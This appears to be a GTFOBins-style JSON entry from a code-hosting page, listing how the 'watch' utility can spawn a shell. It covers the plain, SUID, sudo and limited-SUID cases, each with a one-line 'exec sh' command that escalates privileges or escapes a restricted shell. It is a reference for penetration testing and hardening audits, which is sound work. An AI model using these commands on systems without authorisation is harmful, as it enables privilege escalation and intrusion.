You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
25 lines
513 B
JSON
25 lines
513 B
JSON
{
|
|
"functions": {
|
|
"shell": [
|
|
{
|
|
"code": "watch -x sh -c 'reset; exec sh 1>&0 2>&0'"
|
|
}
|
|
],
|
|
"suid": [
|
|
{
|
|
"description": "This keeps the SUID privileges only if the '-x' option is present.",
|
|
"code": "./watch -x sh -c 'reset; exec sh 1>&0 2>&0'"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'"
|
|
}
|
|
],
|
|
"limited-suid": [
|
|
{
|
|
"code": "./watch 'reset; exec sh 1>&0 2>&0'"
|
|
}
|
|
]
|
|
}
|
|
} |